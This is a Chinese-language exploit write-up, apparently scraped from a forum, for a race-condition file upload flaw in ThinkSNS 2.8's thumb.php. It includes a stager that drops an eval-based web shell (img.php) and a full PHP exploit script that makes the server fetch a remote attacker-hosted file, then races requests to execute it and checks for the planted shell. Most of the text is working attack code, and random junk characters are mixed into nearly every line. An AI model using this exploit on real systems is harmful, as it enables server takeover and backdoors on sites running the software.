漏洞版本! C( j7 I( }* b, {+ V M; ~) [
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过); [3 w O/ J6 L! J* i6 b$ T o
漏洞文件
/ \, M: W' z8 ~( t9 E ]1 h/ H存在漏洞的文件为:thumb.php
R& ?# d8 U$ @* Z作者:韦鲲鹏7 Y9 ]9 T6 p' x% j& T
1、 准备如下PHP文件并上传到服务器(自己的)。7 E( Q! R$ N, m0 P6 P5 q/ L5 j
文件内容如下:
8 [+ y: Y* V: k* a<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>( z: q, Q/ V" k: L" A; S) H# w
2、 计算出临时的文件名:
# g6 q1 f9 A( H `5 T这里我们可以看文件的99行(刚刚是不是没注意呀!)。. U K3 ^0 j/ Y; ]0 }
) o& D5 ~" C+ p }3 ^$ i# h# M3、 上传临时文件。
8 @* A3 G* V6 \4、 访问临时文件。
% l' O. [, S9 i% T" q6 f但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
: k g$ J% @$ d5 q9 \8 RExploit文件内容如下:(这个我就不详细解释了)" V% K4 o! e( ?* v
<?php
B1 y5 e) `: N& |8 |! Merror_reporting(0);9 z! f( _. f7 W% u+ p2 ~
set_time_limit(0);
; {% X8 S3 o' L& J- eini_set(“default_socket_timeout”, 5);
) ` p+ j) P( F8 pfunction http_send($host, $port, $headers) {
: x- s; H( Y1 G( u1 }! @9 V) K5 V) k$fp = fsockopen($host, $port);
4 m0 a. h6 t, N+ B, _# k2 j9 D! Eif (!$fp) die(‘Connection -> fail’);% L! K$ z# x0 b) O
fputs($fp, $headers);; `, k. E) Z, p
return $fp;: [! r# a% |$ Z) N X! a
}
0 ?0 g5 b, q* g' U1 }function http_recv($fp) {
/ f( Y& X3 k. L) @1 Y$ret=”";- U) |! H& ?' k6 Z
while (!feof($fp))
- p8 h$ t; h, i) h1 g( D0 g$ret.= fgets($fp, 1024);
& c4 |3 c! U! ^# e: k' e8 Xfclose($fp);9 c1 R* e F- _5 n! i
return $ret;
+ }7 y/ h& t) L; x$ w( h}' N. G) |0 U7 E6 a$ ~
print “\n# ThinkSns Arbitrary File Upload #\n”;" ^- J# ]; u+ E( ?6 M
print “# Discovered by 韦鲲鹏 #\n\n”;! N5 E' _( e: C Y8 {6 {
if ($argc < 4) {- ^4 {% L) T6 j
print “Usage: php <host> <path> <romote_url>\n”;
% E* A+ ?0 c- b; U% \/ n" e2 `print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
6 }6 F% ]1 N8 [' d: l. r; Odie();
, B2 _# P! U ?6 A8 ^}
3 P6 p0 S0 o- q( n& C; U$host = $argv[1];$ M; v7 h" N5 y8 z' B
$path = $argv[2];
4 M. P- ]9 `. ~' D" a$url = $argv[3];' l# E. y# o, o% |" `6 `1 K; t" `
$i=0;
. s& X' ?! \; ?1 D8 X: S//上传数据包
) a' Q. V" ^% C& ~8 y* A/ H0 L$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;, ?6 T# V3 z0 S6 O! T) \; }' u
$headers_up .= “Host: “.$host.”\r\n”;# `" k9 M5 @3 H% i, p4 P
$headers_up .= “Connection: close\r\n\r\n”;3 w+ [* ]2 p! n7 Y
echo $headers_up;# y6 y2 a% t. g& S; ~ j9 Y; _2 }
//临时文件访问数据包
3 H- \* e. ^% F' n3 s* G2 Q- s$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;; h5 ~* z0 U! Q+ W7 l+ O
$headers .= “Host: “.$host.”\r\n”;$ {& ^/ I1 w9 A4 F" e
$headers .= “Connection: close\r\n\r\n”;
/ ~8 S" Q1 a' j! G9 l% R' Secho $headers;
: _$ F, u% W, w2 G8 }while(++$i<10) {) r( w6 m+ I1 l/ [
fclose(http_send($host, 80, $headers));
; K, H; x$ P: W0 R; H}) B/ J$ S; M; z4 L) c" t* \
fclose(http_send($host, 80, $headers_up));
9 p8 V5 s" |! P" Kwhile(++$i<50) {
. X/ ~) b" D$ T, T Ofclose(http_send($host, 80, $headers));
; D) |$ O7 n$ F- h! H}; A0 z! ^% b3 J2 R b! \* o' w
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
$ C# W. P$ y8 u7 d, `$headers .= “Host: “.$host.”\r\n”;1 I& Q/ p8 O2 `$ w: `% N, m
$headers .= “Connection: close\r\n\r\n”;
9 t/ l, T3 w$ D8 U1 N Q; w$res=http_recv(http_send($host, 80, $headers));! p2 W( c# w% d6 o: e8 I
if(preg_match(‘/200 OK/’,$res)) {9 L* V0 x N# |: D8 `1 X+ n% ?, s
print “Success!\n\n”;
8 c- c" V& c5 H4 n! h} else {
; Y: L# z# ^5 W" b/ R9 c' fprint “Fail!\n\n”;
' `8 D( Q0 s$ f1 o}
6 y& l* h; s$ b?>% F. a! H/ A7 p7 M! D
|